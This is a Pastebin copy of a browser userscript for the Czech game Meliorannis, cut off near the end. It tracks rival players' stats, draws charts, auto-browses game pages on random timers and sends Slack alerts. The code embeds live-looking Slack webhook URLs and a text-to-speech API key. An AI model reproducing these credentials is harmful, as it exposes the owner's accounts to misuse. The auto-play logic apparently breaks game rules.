Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // ==UserScript==
- // @name MA - hlidka
- // @version 2.0
- // @description utility
- // @grant none
- // @require http://code.jquery.com/jquery-1.10.2.min.js
- // @require https://canvasjs.com/assets/script/canvasjs.min.js
- // @require https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.20.1/moment.min.js
- // @include http://www.meliorannis.com/*
- // @include https://speed.meliorannis.com/*
- // ==/UserScript==
- Array.prototype.diff = function(a) {
- return this.filter(function(i) {return a.indexOf(i) < 0;});
- };
- var percentColors = [
- { pct: 0.0, color: { r: 0xff, g: 0x00, b: 0 } },
- { pct: 0.5, color: { r: 168, g: 168, b: 168 } },
- { pct: 1.0, color: { r: 0x00, g: 0xff, b: 0 } } ];
- var percentToColor = function(pct)
- {
- for (var i = 0; i < percentColors.length; i++)
- {
- if (pct <= percentColors[i].pct)
- {
- var lower = (i === 0) ? percentColors[i] : percentColors[i - 1];
- var upper = (i === 0) ? percentColors[i + 1] : percentColors[i];
- var range = upper.pct - lower.pct;
- var rangePct = (pct - lower.pct) / range;
- var pctLower = 1 - rangePct;
- var pctUpper = rangePct;
- var color =
- {
- r: Math.floor(lower.color.r * pctLower + upper.color.r * pctUpper),
- g: Math.floor(lower.color.g * pctLower + upper.color.g * pctUpper),
- b: Math.floor(lower.color.b * pctLower + upper.color.b * pctUpper)
- };
- return 'rgb(' + [color.r, color.g, color.b].join(',') + ')';
- }
- }
- };
- function getLastDbValue(id, property, searchHoursInPast)
- {
- var dbValues = localStorage[id];
- if (dbValues)
- {
- dbValues = JSON.parse(dbValues);
- if (!searchHoursInPast)
- {
- dbValues.reverse();
- }
- for (var i in dbValues) {
- var hourDifference = Math.abs(new Date() - new Date(dbValues[i].date)) / (1000 * 60 * 60);
- if (searchHoursInPast && hourDifference < searchHoursInPast && dbValues[i][property])
- {
- if (dbValues[i][property])
- return dbValues[i][property];
- }
- else if (!searchHoursInPast && dbValues[i][property])
- {
- if (dbValues[i][property])
- return dbValues[i][property];
- }
- }
- }
- }
- function renderChangesValue(id, power, area, powerPos, areaPos, row, ot, otPos, pastValueResolver)
- {
- var powerDb = pastValueResolver(id, 'power');
- var areaDb = pastValueResolver(id, 'area');
- var otDb = pastValueResolver(id, 'ot');
- var columns = $(row).children();
- var powerColumn = $(columns[powerPos]);
- renrerValue(id, 'power', power, powerDb==-1 ? power : powerDb, true, powerColumn);
- $('#' + id + '-dialog').click(function() {
- $('#' + id + '-dialog').css("display", "none");
- });
- if(areaPos)
- {
- var areaColumn = $(columns[areaPos]);
- renrerValue(id, 'area', area, areaDb==-1 ? area : areaDb, false, areaColumn);
- }
- if (otPos)
- {
- var otPlus = Number(ot) - Number(otDb);
- if (otPlus || otPlus > -1)
- {
- var otColumn = $(columns[otPos]);
- renrerValue(id, 'ot', otPlus, otPlus, false, otColumn);
- }
- }
- }
- function renrerValue(id, type, value, valueDb, isPercent, whereToRender)
- {
- var percent = Math.round(percent * 10) / 10;
- percent = (value / (valueDb / 100) - 100).toFixed(1) + '%';
- var val = (Math.round((value - valueDb) / 100) / 10) + 'k';
- if (type === 'ot')
- {
- val = value;
- }
- var element = '<font size="2" class="to-remove">(<span id="' + id + '-' + type + '" class="' + type +'">' + (isPercent ? percent : val) + '</span>)';
- whereToRender.append(element);
- whereToRender.click(function()
- {
- var storage = localStorage[id];
- var fakeRowId = 'fakeRow' + id;
- if (storage && $('#' + fakeRowId).length === 0)
- {
- var data = JSON.parse(storage);
- data.reverse();
- $('<tr class="fakeRow"><td colspan="20" >' +
- '<div id="' + fakeRowId + '"style="background-color: white; width: 100%;"></div>' +
- '</td></tr>').insertAfter($(whereToRender.parent()));
- renderChart(data, 'power', id, $('#' + fakeRowId), 24);
- renderChart(data, 'area', id, $('#' + fakeRowId), 24);
- renderChart(data, 'ot', id, $('#' + fakeRowId), 24);
- }
- else
- {
- $('.fakeRow').remove();
- }
- });
- }
- function renderChart(data, type, id, elemtToAppend, hoursBack)
- {
- var chartId = type + 'Chart' + id;
- $(elemtToAppend).append('<div id="' + chartId + '" style="height: 200px; width: 100%;"/>');
- $('#' + id).click(event => event.stopPropagation());
- var datasets = createDataSet(data, type, hoursBack);
- var chart = new CanvasJS.Chart(chartId, {
- animationEnabled: false,
- zoomEnabled: true,
- title: {
- text: type
- },
- axisX: {
- title: "Time"
- },
- axisY: {
- title: type,
- includeZero: false
- },
- data: [{
- type: "line",
- name: type,
- xValueType: "dateTime",
- xValueFormatString: "DD MMM hh:mm TT",
- yValueFormatString: "#,##0.##",
- dataPoints: datasets
- }]
- });
- chart.render();
- }
- function createDataSet(data, type, hoursBack)
- {
- var clearData = $(data).filter(
- function(index, row)
- {
- var hourDiff = Math.round(((new Date() - new Date(row.date)) / 36e5) * 10) / 10;
- return row[type] && hourDiff < hoursBack;
- });
- var chartData=[];
- var yesterday = new Date(new Date().getTime() - (hoursBack * 60 * 60 * 1000));
- chartData.push({x : yesterday, y : null});
- $.each(clearData, function(index, packet)
- {
- if (packet[type])
- {
- chartData.push({x : new Date(packet.date), y : parseFloat(packet[type])});
- }
- });
- chartData.push({x : new Date(new Date().getTime() + 60 * 1000), y : null});
- return chartData;
- }
- function formatDate(date)
- {
- var d = new Date(date);
- return [d.getDate(), (d.getMonth()+1)].join('.') + ' ' +
- [ d.getHours(), d.getMinutes()].join(':');
- }
- function spies()
- {
- var table = $('#spies_report');
- if (table)
- {
- var id = table.find('sup').text().replace('(', '').replace(')', '');
- var powerColumn = table.find('td:contains("Síla provincie")').next();
- var power = Number(powerColumn.text().split('(')[0]);
- var powerMine = Number($('.value_power').text());
- var powerDb = getLastDbValue(id, 'power');
- if (powerColumn.length !== 0)
- {
- powerColumn.append('<br/><a id="adjustArmy" style="color: green;">Pripravit armadu</a>');
- renrerValue(id, 'power', power, powerDb==-1 ? power : powerDb, true, powerColumn);
- }
- $('#adjustArmy').click(
- function() {
- localStorage.powerDiff = (power * 1.245) - powerMine;
- window.location.href = $( "a:contains('Armáda')" ).attr('href');
- });
- }
- $('#left_column_wrapper').append('<label>Nazev jednotky stitu</label><br/>');
- $('#left_column_wrapper').append('<input type="text" id="shieldUnit" style="width: 120px;" />');
- $('#shieldUnit').css('background', 'url("/html/img/inputs_sprite.png") 0 0 no-repeat transparent');
- $('#shieldUnit').val(localStorage.shieldUnit ? localStorage.shieldUnit : '');
- $('#shieldUnit').on("change keyup paste", function() { localStorage.shieldUnit = $('#shieldUnit').val();});
- if (localStorage.powerDiff && localStorage.powerDiff !== '' && localStorage.shieldUnit)
- {
- var selectUnit = $($('select')[1]).find('option:contains(' + localStorage.shieldUnit + ')').val();
- var unitPower = Number($('#army_table_army tr:contains(' + localStorage.shieldUnit + ') .army_unit_power').text());
- var unitExp = Number($('#army_table_army tr:contains(' + localStorage.shieldUnit + ') .army_unit_exp').text().replace('%', '').trim());
- var oneUnitPower;
- if (localStorage.powerDiff < 0)
- {
- oneUnitPower = (unitPower / 100) * unitExp;
- $($('select')[0]).val(selectUnit);
- $($('input[name="kolik"]')[0]).val(Math.abs(Math.round(localStorage.powerDiff / oneUnitPower)));
- $($('input[name="kolik"]')[0]).change();
- }
- else
- {
- oneUnitPower = unitPower * 0.4;
- $($('select')[1]).val(selectUnit);
- $($('input[name="kolik"]')[1]).val(Math.abs(Math.round(localStorage.powerDiff / oneUnitPower)));
- $($('input[name="kolik"]')[1]).change();
- }
- localStorage.powerDiff = '';
- }
- }
- function makeTableOrderable()
- {
- var tables = $('table:not("#attacks_units_selection")');
- $.each(
- tables,
- function (i, table)
- {
- var headRow = $(table).find('.heading');
- var headColumns = $(headRow).find('td:not(:contains("Protekce"))');
- $.each(headColumns,
- function (index, value)
- {
- $(value).click(function(){
- var table = $(this).parents('table').eq(0)
- var rows = table.find('tr:not(".playerUnits"):gt(0)').toArray().sort(comparer($(this).index()))
- this.asc = !this.asc
- if (!this.asc){rows = rows.reverse()}
- for (var i = 0; i < rows.length; i++){table.append(rows[i])}
- })
- });
- });
- function comparer(index) {
- return function(a, b) {
- var valA = getCellValue(a, index);
- var valB = getCellValue(b, index);
- if ($.isNumeric(valA.replace(" ", "").replace(/ *\([^)]*\) */g, "")))
- {
- valA = valA.replace(" ", "").replace(/ *\([^)]*\) */g, "");
- valB = valB.replace(" ", "").replace(/ *\([^)]*\) */g, "");
- }
- return $.isNumeric(valA) && $.isNumeric(valB) ? valA - valB : valA.toString().localeCompare(valB);
- }
- }
- function getCellValue(row, index){ return $(row).children('td').eq(index).text() }
- }
- function renderTableInfo(table, pastValueResolver, updateDbData)
- {
- var rows = $(table).find('tr:not(".playerUnits")');
- var headRow = $(table).find('.heading');
- var idPos;
- var namePos;
- var powerPos;
- var areaPos;
- var otPos;
- var protPos;
- var headColumns = $(headRow).find('td');
- if(headColumns.length === 0)
- headColumns = $(headRow).find('th');
- $.each(headColumns,
- function (index, value)
- {
- var text = $(value).text().trim();
- if(text==='ID')
- idPos = index;
- if(text==='Regent')
- namePos = index;
- if(text.indexOf("Síla")===0)
- powerPos = index;
- if(text==='Rozloha' || text === 'hAR')
- areaPos = index;
- if(text==='O.T.')
- otPos = index;
- if(text===' Protekce')
- protPos = index;
- });
- $.each(rows,
- function (index, value)
- {
- if (index > 0) // skip header row
- {
- var columns = $(value).children();
- var id = $(columns[idPos]).children("span").clone().children().remove().end().text().trim();
- if (!id)
- {
- id = $(columns[idPos]).text().trim();
- }
- var name = $(columns[namePos]).text().trim();
- var power = $(columns[powerPos]).text().split('*').join('').trim();
- var area;
- var ot;
- var prot;
- if(areaPos)
- area = $(columns[areaPos]).text().trim();
- if(otPos)
- ot = $(columns[otPos]).text().trim();
- if (protPos)
- prot = $(value).find('.listings_prot_mil').length === 1 ? "true" : "false";
- renderChangesValue(id, power, area, powerPos, areaPos, value, ot, otPos, pastValueResolver);
- if(!isNaN(parseFloat(id)))
- {
- var data = localStorage[id];
- var array = [];
- var lastDbValPower;
- var lastDbValOt;
- var lastDbValArea;
- var lastDbValProt;
- var dataChanged = true;
- if(data)
- {
- array = JSON.parse(data);
- lastDbValPower = array[array.length-1]['power'];
- lastDbValOt = array[array.length-1]['ot'];
- lastDbValArea = array[array.length-1]['area'];
- lastDbValProt = array[array.length-1]['prot'];
- }
- if (lastDbValPower || lastDbValOt || lastDbValArea)
- dataChanged = (typeof power !== "undefined" && power !== lastDbValPower) ||
- (typeof ot !== "undefined" && ot !== lastDbValOt) ||
- (typeof area !== "undefined" && area !== lastDbValArea) ||
- (typeof prot !== "undefined" && prot !== lastDbValProt);
- if (updateDbData)
- {
- if (dataChanged)
- {
- array.push({"power" : power, "area" : area, "date" : Date(), "ot" : ot, "name": name, "prot" : prot});
- localStorage[id] = JSON.stringify(array);
- }
- else if (array.length > 0)
- {
- array[array.length-1].date = new Date();
- localStorage[id] = JSON.stringify(array);
- }
- }
- }
- }
- });
- colorPercentages(table, '.power');
- colorPercentages(table, '.area');
- colorPercentages(table, '.ot');
- }
- function main()
- {
- var tables = $('table:contains("Síla"):contains("ID"):not(.onlinePlayers):not(#search_results_table)');
- var pastValueResolver = (id, prop) => getLastDbValue(id, prop);
- $.each(tables, function (i, table) { renderTableInfo(table, pastValueResolver, true); });
- }
- function colorPercentages(table, selector)
- {
- var percentElements = $(table).find(selector);
- var percentValues = $.map(
- percentElements,
- function(value)
- {
- return $(value).text().replace('k','').replace('%', '').replace('(', '').replace(')', '');
- }
- );
- var percentMax = Math.max.apply(Math, percentValues);
- var percentMin = Math.min.apply(Math, percentValues);
- percentMax = percentMax === 0 ? 1 : percentMax;
- percentMin = percentMin === 0 ? 1 : percentMin;
- $.each(
- percentElements,
- function(index, value)
- {
- var currentValue = $(value).text().replace('k','').replace('%', '').replace('(', '').replace(')', '');
- var relativePercent = 0;
- if(currentValue >= 0)
- {
- relativePercent = 50 + (Math.abs(currentValue) / (Math.abs(percentMax) / 50));
- }
- else
- {
- relativePercent = 50 - (Math.abs(currentValue) / (Math.abs(percentMin) / 50));
- }
- $(value).css('color', percentToColor(relativePercent / 100));
- }
- );
- }
- function renderHistoryTextField()
- {
- var tables = $('table:contains("Síla"):contains("ID"):not(.onlinePlayers):not(#search_results_table)');
- $.each(
- tables,
- function (i, table)
- {
- $(table).after("<label>Pocet hodin do zadu</label><input id='hour-field" + i + "' type='text'/>");
- $('#hour-field' + i).change(function()
- {
- var searchHoursInPast = Number($( this ).val().trim());
- var pastValueResolver = (id, prop) => getLastDbValue(id, prop, searchHoursInPast);
- $(table).find(".to-remove").remove();
- renderTableInfo(table, pastValueResolver, false);
- });
- });
- }
- function kokotMeasure()
- {
- if (!localStorage.kokotMeasure)
- localStorage.kokotMeasure = 0;
- localStorage.kokotMeasure = Number(localStorage.kokotMeasure) + 1;
- $('body').append('<label style="position: absolute; left: 0; top: 0;">Jak velky jsi kokot: ' + localStorage.kokotMeasure + '</div>');
- }
- function myPower()
- {
- var power = $('.value_power').text();
- var powerDb = Number(localStorage.me);
- var powerDifference = (power - powerDb);
- if (powerDifference)
- {
- $('#LS_power_value').append('<span id="powerId" style="padding-left: 5px;">' + powerDifference + '</span>');
- if (powerDifference < 0)
- {
- $('#powerId').css('color', 'RGB(255, 0, 0)');
- document.title = 'Pokles o ' + powerDifference;
- beep(powerDifference);
- }
- else
- {
- $('#powerId').css('color', 'RGB(0, 255, 0)');
- }
- }
- localStorage.me = power;
- }
- function beep(difference)
- {
- if (localStorage.powerDiffEnabled === "true" && Math.abs(difference) > Number(localStorage.powerDiffTreshold))
- {
- sendSlackNotification($('#governor').text() + ' difference ' + difference);
- (new Audio('http://www.freespecialeffects.co.uk/soundfx/music/trumpets.wav')).play();
- }
- }
- function checkNewMessage()
- {
- if (!localStorage.powerDiffTreshold)
- {
- localStorage.powerDiffTreshold = 0;
- }
- $('#left_column_wrapper').append('<br/><label style="padding-right: 25px;">New message notifier</label>');
- $('#left_column_wrapper').append('<input id="messageNotifier" type="checkbox"/><br/>');
- $('#messageNotifier').prop('checked', localStorage.messageNotifier === "true");
- $('#messageNotifier').on("change keyup paste", function() {localStorage.messageNotifier = $("#messageNotifier").is(':checked');});
- if ($('.new_post').length > 0 && localStorage.messageNotifier === "true")
- {
- sendSlackNotification($('#governor').text() + ' nova posta');
- (new Audio('https://www.mediacollege.com/downloads/sound-effects/star-trek/tng/tng-worf-incomingmessage.wav')).play();
- }
- }
- function renderShieldStackPerc()
- {
- var shieldPwrElem = $('#econ_units_list').find('tr.tr_even:first > td:nth-child(6)');
- var shieldPwr = Number(shieldPwrElem.text());
- var totalPwr = Number($('#econ_units_list').find('.tr_econ_summary > td:nth-child(3)').text());
- if (shieldPwr && totalPwr)
- {
- var shieldPerc = (100 * shieldPwr) / totalPwr;
- shieldPwrElem.append(' (<span style="color: RGB(0, 255, 0);">' + shieldPerc.toFixed(1) + '%</span>)');
- }
- }
- function renderNotes()
- {
- $('#left_column_wrapper').append('<br/><label>Notes</label><br/>');
- $('#left_column_wrapper').append('<textarea rows="4" cols="50" id="notes"></textarea>');
- $('#notes').val(localStorage.notes ? localStorage.notes : '');
- $('#notes').on("change keyup paste", function() {
- localStorage.notes = $('#notes').val();
- });
- }
- function formatDuration(duration) {
- var seconds = duration / 1000;
- if (seconds > 60) {
- var minutes = seconds / 60;
- if (minutes > 60) {
- var hours = Math.trunc(minutes / 60);
- if (hours > 24) {
- var days = Math.trunc((minutes / 60) / 24);
- return "před " + days + "d " + Math.trunc(hours - (24*days)) + "h";
- } else {
- return "před " + hours + "h " + Math.trunc(minutes - (60*hours)) + "m";
- }
- } else {
- return "před " + minutes.toFixed(0) + "m";
- }
- } else {
- return "před " + seconds + "s";
- }
- }
- function renderPlayers() {
- function getPlayerTable(players) {
- var currentTime = new Date();
- var tableStart =
- '<table id="listings_table_top20"><tbody>' +
- '<tr class="heading">' +
- '<td class="attacks_id">ID</td>' +
- '<td class="attacks_regent">Regent</td>' +
- '<td class="attacks_pwr">Síla</td>' +
- '<td class="attacks_protection"></td>' +
- '<td class="attacks_time">Čas vložení</td>' +
- '</tr>';
- for (var i = 0; i < players.length; i++) {
- tableStart = tableStart +
- '<tr>' +
- '<td class="attacks_id">' + players[i].id + '</td>' +
- '<td class="attacks_regent">' + players[i].name + '</td>' +
- '<td class="attacks_pwr">' + players[i].power + '</td>' +
- '<td class="attacks_protection">' + (players[i].protection ? '*' : '') + '</td>' +
- '<td class="attacks_time">' + (formatDuration(Math.abs(currentTime - new Date(players[i].lastUpdate)))) + '</td></tr>';
- }
- var tableEnd = '</tbody></table></div></div>';
- return tableStart + tableEnd;
- }
- var playersLink = $('#Attacks_list_detail a').attr("href").replace("vypis=utoky_detailne", "players");
- $('#Attacks_list_detail').after('<li id="playersLink"><a href="' + playersLink + '">Hráči</a></li>');
- if (window.location.href.indexOf("players") != -1) {
- $('#central_column_bottom').empty();
- getAllPlayers(function(data) {
- $('#central_column_bottom').append(getPlayerTable(data));
- });
- }
- }
- function autorefresh()
- {
- $('#left_column_wrapper').append('<br/><label>Auto hlidka (sec)</label><br/>');
- $('#left_column_wrapper').append('<input id="watchInterval" type="text" style="width: 120px;">');
- $('#left_column_wrapper').append('<input id="autoWatch" type="checkbox"/><br/>');
- $('#left_column_wrapper').append('<label>Bestiar</label><input id="autowatchBestiar" type="checkbox"/><br/>');
- $('#left_column_wrapper').append('<label>Cska</label><input id="autowatchCs" type="checkbox"/><br/>');
- $('#left_column_wrapper').append('<label>Armada</label><input id="autowatchArmy" type="checkbox"/><br/>');
- $('#left_column_wrapper').append('<label>Hospodareni</label><input id="autowatchHospodareni" type="checkbox"/><br/>');
- $('#left_column_wrapper').append('<label>Top hliny</label><input id="autowatchTopArea" type="checkbox"/><br/>');
- $('#left_column_wrapper').append('<label>Vase umisteni</label><input id="autowatchYourPlacing" type="checkbox"/><br/>');
- $('#left_column_wrapper').append('<label>Mozne cile</label><input id="autowatchAllowedTargets" type="checkbox"/><br/>');
- $('#autoWatch').css('position', 'absolute');
- $('#autoWatch').css('top', '20px');
- $('#autoWatch').css('left', '5px');
- $('#watchInterval').css('background', 'url("/html/img/inputs_sprite.png") 0 0 no-repeat transparent');
- $('#watchInterval').val(localStorage.watchInterval ? localStorage.watchInterval : '');
- $('#watchInterval').on("change keyup paste", function() { localStorage.watchInterval = $('#watchInterval').val();});
- addCheckboxDbListener('autoWatch');
- addCheckboxDbListener('autowatchBestiar');
- addCheckboxDbListener('autowatchCs');
- addCheckboxDbListener('autowatchArmy');
- addCheckboxDbListener('autowatchHospodareni');
- addCheckboxDbListener('autowatchTopArea');
- addCheckboxDbListener('autowatchYourPlacing');
- addCheckboxDbListener('autowatchAllowedTargets');
- var timer;
- if (localStorage.autoWatch === "true")
- {
- timer = startTimer();
- }
- $('#autoWatch').on("change keyup paste",
- function()
- {
- if ($("#autoWatch").is(':checked'))
- {
- timer = startTimer();
- }
- else if(timer)
- {
- clearInterval(timer);
- }
- });
- }
- function addCheckboxDbListener(id)
- {
- $('#' + id).prop('checked', localStorage[id] === "true");
- $('#' + id).on("change keyup paste", function() { localStorage[id] = $("#" + id).is(':checked')});
- }
- function startTimer()
- {
- var counter = Number(localStorage.watchInterval) * 1000;
- var timer = setTimeout(
- function()
- {
- var settingArray = ['autowatchBestiar', 'autowatchCs', 'autowatchArmy', 'autowatchHospodareni', 'autowatchTopArea', 'autowatchYourPlacing', 'autowatchAllowedTargets'];
- settingArray = settingArray.filter(setting => localStorage[setting] === 'true')
- var type = settingArray[Math.floor(Math.random() * settingArray.length)];;
- console.log(type);
- if (type === 'autowatchBestiar')
- {
- window.location.href = $( "a:contains('Bestiář')" ).attr('href');
- }
- else if (type === 'autowatchCs')
- {
- window.location.href = $( "a:contains('Výpis útoků')" ).attr('href');
- }
- else if (type === 'autowatchArmy')
- {
- window.location.href = $( "a:contains('Armáda')" ).attr('href');
- }
- else if (type === 'autowatchHospodareni')
- {
- window.location.href = $( "a:contains('Hospodaření')" ).attr('href');
- }
- else if (type === 'autowatchTopArea')
- {
- window.location.href = $( "a:contains('Možné cíle')" ).attr('href').replace('&prehled=mozne_cile', '&prehled=podle_pozemku');
- }
- else if (type === 'autowatchYourPlacing')
- {
- window.location.href = $( "a:contains('Možné cíle')" ).attr('href').replace('&prehled=mozne_cile', '&prehled=vase_umisteni');
- }
- else if (type === 'autowatchAllowedTargets')
- {
- window.location.href = $( "a:contains('Možné cíle')" ).attr('href');
- }
- timer = setTimeout(this, 1000 + counter * Math.random());
- }, (2500 + counter * Math.random()));
- return timer;
- }
- function powerDiffAlarm()
- {
- if (!localStorage.powerDiffTreshold)
- {
- localStorage.powerDiffTreshold = 0;
- }
- $('#left_column_wrapper').append('<br/><label style="padding-right: 25px;">Power alarm (power)</label>');
- $('#left_column_wrapper').append('<input id="powerDiffEnabled" type="checkbox"/><br/>');
- $('#powerDiffEnabled').prop('checked', localStorage.powerDiffEnabled === "true");
- $('#powerDiffEnabled').on("change keyup paste", function() {localStorage.powerDiffEnabled = $("#powerDiffEnabled").is(':checked');});
- $('#left_column_wrapper').append('<input id="powerDiffTreshold" type="text" style="width: 120px;"><br/>');
- $('#powerDiffTreshold').css('background', 'url("/html/img/inputs_sprite.png") 0 0 no-repeat transparent');
- $('#powerDiffTreshold').val(localStorage.powerDiffTreshold);
- $('#powerDiffTreshold').on("change keyup paste", function() { localStorage.powerDiffTreshold = $('#powerDiffTreshold').val();});
- }
- function checkBestiar()
- {
- $('#left_column_wrapper').append('<br/><label style="padding-right: 25px;">Bestiar check (unit.exp,unit2.exp)</label>');
- $('#left_column_wrapper').append('<input id="bestiarEnabled" type="checkbox"/><br/>');
- $('#bestiarEnabled').prop('checked', localStorage.bestiarEnabled === "true");
- $('#bestiarEnabled').on("change keyup paste", function() { localStorage.bestiarEnabled = $("#bestiarEnabled").is(':checked'); });
- $('#left_column_wrapper').append('<textarea id="bestiarText" rows="2" cols="50"><br/>');
- $('#bestiarText').val(localStorage.bestiarText ? localStorage.bestiarText : '');
- $('#bestiarText').on("change keyup paste", function() { localStorage.bestiarText = $('#bestiarText').val();});
- if (window.location.pathname.includes("obchod") && localStorage.bestiarText && localStorage.bestiarEnabled === "true")
- {
- var unitExpPairs = localStorage.bestiarText.split(",");
- var count = 0;
- $.each(unitExpPairs,
- function(index, unitExpPair)
- {
- var unit = unitExpPair.split(".")[0].trim();
- var exp = Number(unitExpPair.split(".")[1].trim());
- var stack;
- if (unit.includes("#"))
- {
- stack = unit.split('#')[1].trim();
- unit = unit.split('#')[0].trim();
- }
- // unit elements
- var elements = $("#beast_shop tr:not(.best_me_buyer):contains('" + unit + "')");
- elements = elements.filter(
- function(i, el)
- {
- var expEl = $(el).find(".beast_shop_unit_exp");
- var stackV = $(el).find(".beast_shop_unit_stack");
- return exp <= Number($(expEl).text().replace('%', '')) && stack <= Number($(stackV).text());
- }
- );
- $.each(elements,
- function(index, el)
- {
- $(el).css('background-color', 'darkred');
- });
- // contains unit
- if (elements.length !== 0)
- {
- if (unit === 'Str')
- {
- unit = "Shooter stack bigger " + stack;
- }
- var url = 'http://api.voicerss.org/?key=9ed0aef9a2c64bc5abd65ca333588164&c=wav&hl=ru-ru&src=' + unit;
- setTimeout(function(){
- (new Audio(url)).play();}, 1000 * count);
- count++;
- }
- }
- );
- }
- }
- function checkCs() {
- if (!localStorage.csEnabled)
- {
- localStorage.csEnabled = "true";
- }
- if (!localStorage.csTreasholdPercentage)
- {
- localStorage.csTreasholdPercentage = 5;
- }
- $('#left_column_wrapper').append('<br/><label style="padding-right: 25px;">Cs treashold diff %</label>');
- $('#left_column_wrapper').append('<input id="csEnabled" type="checkbox"/>');
- $('#left_column_wrapper').append('<input type="text" id="csTreasholdPercentage" style="width: 120px;"/><br/>');
- $('#csEnabled').prop('checked', localStorage.csEnabled === "true");
- $('#csEnabled').on("change keyup paste", function() {localStorage.csEnabled = $("#csEnabled").is(':checked');});
- $('#csTreasholdPercentage').val(localStorage.csTreasholdPercentage ? localStorage.csTreasholdPercentage : '');
- $('#csTreasholdPercentage').on("change keyup paste", function() { localStorage.csTreasholdPercentage = $('#csTreasholdPercentage').val();});
- var csList = $(".attacks_list_wrapper:contains('Bráněné útoky') > .attacks_wrapper > .attacks_table > tbody > tr:not('.heading'):contains('nevráceno')");
- var count = 0;
- $.each(csList, function (i, cs) {
- var name = $(cs).find('.attacks_regent').text().trim();
- var id = $(cs).find('.attacks_id .tt_player').clone().children().remove().end().text().trim();
- var powerDb = getLastDbValue(id, 'power');
- var power = $(cs).find('.attacks_pwr').text().trim();
- var powerDiff = power - powerDb;
- var powerDiffPerc = (powerDiff / power) * 100;
- console.log('cs ' + cs + ' id ' + id + ' powerdiff: ' + powerDiff);
- if (localStorage.csEnabled === "true" && powerDiffPerc < 0 && Math.abs(powerDiffPerc) >= Number(localStorage.csTreasholdPercentage)) {
- var url = 'http://soundbible.com/grab.php?id=2103&type=wav';
- sendSlackNotification(name + ' spadl o ' + powerDiff);
- setTimeout(function() {
- (new Audio(url)).play();}, 1000 * count);
- count++;
- }
- });
- }
- function renderPlayersOnline()
- {
- $('#left_column_wrapper').append('<br/><label style="padding-right: 25px;">Online player treshold (h)</label>');
- $('#left_column_wrapper').append('<input id="onlinePlayerEnabled" type="checkbox"/><br/>');
- $('#onlinePlayerEnabled').prop('checked', localStorage.onlinePlayerEnabled === "true");
- $('#onlinePlayerEnabled').on("change keyup paste", function(){localStorage.onlinePlayerEnabled = $("#onlinePlayerEnabled").is(':checked');});
- $('#left_column_wrapper').append('<input type="text" id="onlinePlayerTreshold" style="width: 120px;" /><br/>');
- $('#onlinePlayerTreshold').val(localStorage.onlinePlayerTreshold ? localStorage.onlinePlayerTreshold : '');
- $('#onlinePlayerTreshold').on("change keyup paste", function() { localStorage.onlinePlayerTreshold = $('#onlinePlayerTreshold').val();});
- if (!localStorage.onlinePlayerTreshold)
- {
- localStorage.onlinePlayerTreshold = 0.5;
- }
- if (localStorage.onlinePlayerEnabled !== "true")
- {
- return;
- }
- var treshold = Number(localStorage.onlinePlayerTreshold);
- var changedValues = Array.apply(0, new Array(localStorage.length))
- .map(function (o, i) {return localStorage.key(i);})
- .filter(function(i){return /^\d+$/.test(i)})
- .map(function(id)
- {
- var otVal = getLastDbValue(id, "ot", treshold);
- var areaVal = getLastDbValue(id, "area", treshold);
- var powerVal = getLastDbValue(id, "power", treshold);
- var dateVal = getLastDbValue(id, "date", treshold);
- if ((typeof otVal !== 'undefined' && otVal !== getLastDbValue(id, "ot")) ||
- (typeof areaVal !== 'undefined' && areaVal !== getLastDbValue(id, "area")) ||
- (typeof powerVal !== 'undefined' && powerVal !== getLastDbValue(id, "power")))
- {
- var result = {};
- result["id"] = id;
- result["timeDiff"] = Math.abs(new Date() - new Date(dateVal));
- if (powerVal)
- {
- result["power"] = powerVal;
- }
- if (areaVal)
- {
- result["area"] = areaVal;
- }
- if (otVal)
- {
- result["ot"] = otVal;
- }
- return result;
- }
- })
- .filter(val => val)
- .sort((a, b) => (a.timeDiff > b.timeDiff) ? 1 : -1);;
- var tableContent = changedValues.map(function(val)
- {
- var powerDb = getLastDbValue(val.id, 'power');
- var areaDb = getLastDbValue(val.id, 'area');
- var name = getLastDbValue(val.id, 'name');
- var timeDiff = val.timeDiff;
- var otsDiff = getLastDbValue(val.id, 'ot') - getLastDbValue(val.id, 'ot', treshold);
- var protDb = getLastDbValue(val.id, 'prot') === 'true' ? '*' : '';
- return '<tr><td class="onlineIds">' + val.id + '</td><td style="word-break: break-all;">' + name + protDb + '</td><td>' +
- powerDb + '</td><td>' + areaDb + '</td><td>+' +
- otsDiff + '</td><td>' + formatDuration(timeDiff) + '</td></tr>';
- })
- .join('');
- $(document.body).append('<table id="onlinePlayers" class="onlinePlayers" style="bottom: 0;width: 300px; position: fixed;right: 0px;background-color: black;overflow-y: scroll;max-height: 100%;">' +
- '<tr class="heading"><td>ID</td><td>Name</td><td>Síla</td><td>hAR</td><td>TU</td><td><td></tr>' +
- tableContent +
- '</table>');
- var selectedIds = localStorage["selectedIds"] ? JSON.parse(localStorage["selectedIds"]) : [];
- var onlineIds = $('.onlineIds').map(function(){
- return $.trim($(this).text());
- }).get();
- var selectedOnlineIds = selectedIds
- .filter(id => onlineIds.includes(id))
- .filter(function(item, pos, self) {return self.indexOf(item) == pos;}); // remove redundances;
- // remove non online from map
- localStorage["selectedIds"] = JSON.stringify(selectedOnlineIds);
- selectedOnlineIds.forEach(id => markTableRowWithId(id, true));
- $('.onlineIds').on('click', function(event)
- {
- var id = $(event.target).text().trim();
- var selectedIds = JSON.parse(localStorage["selectedIds"]);
- if (selectedIds.includes(id))
- {
- selectedIds.pop(id);
- markTableRowWithId(id, false);
- }
- else
- {
- selectedIds.push(id);
- markTableRowWithId(id, true);
- }
- localStorage["selectedIds"] = JSON.stringify(selectedIds);
- });
- var pastValueResolver = (id, prop) =>
- {
- return getLastDbValue(id, prop, treshold);
- }
- renderTableInfo($('#onlinePlayers'), pastValueResolver, false);
- }
- function markTableRowWithId(id, mark)
- {
- var tr = $('table:contains("ID")').find('tr:contains("' + id +'")');
- if (tr && mark)
- {
- $(tr).css("background-color", "#9400D3");
- $('html, body').animate({
- scrollTop: ($(tr).first().offset().top)
- },10);
- }
- else if (tr)
- {
- $(tr).css("background-color", "");
- }
- }
- function sendSlackNotification(message)
- {
- // general channel
- var channel = "https://hooks.slack.com/services/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";
- var player = $('#governor').text();
- if (player === 'princezna Xena')
- {
- channel = "https://hooks.slack.com/services/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";
- }
- else if (player === 'Jeina')
- {
- channel = "https://hooks.slack.com/services/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";
- }
- $.ajax({
- data: 'payload=' + JSON.stringify({
- "text": message
- }),
- dataType: 'json',
- processData: false,
- type: 'POST',
- url: channel
- });
- }
- function isLogged()
- {
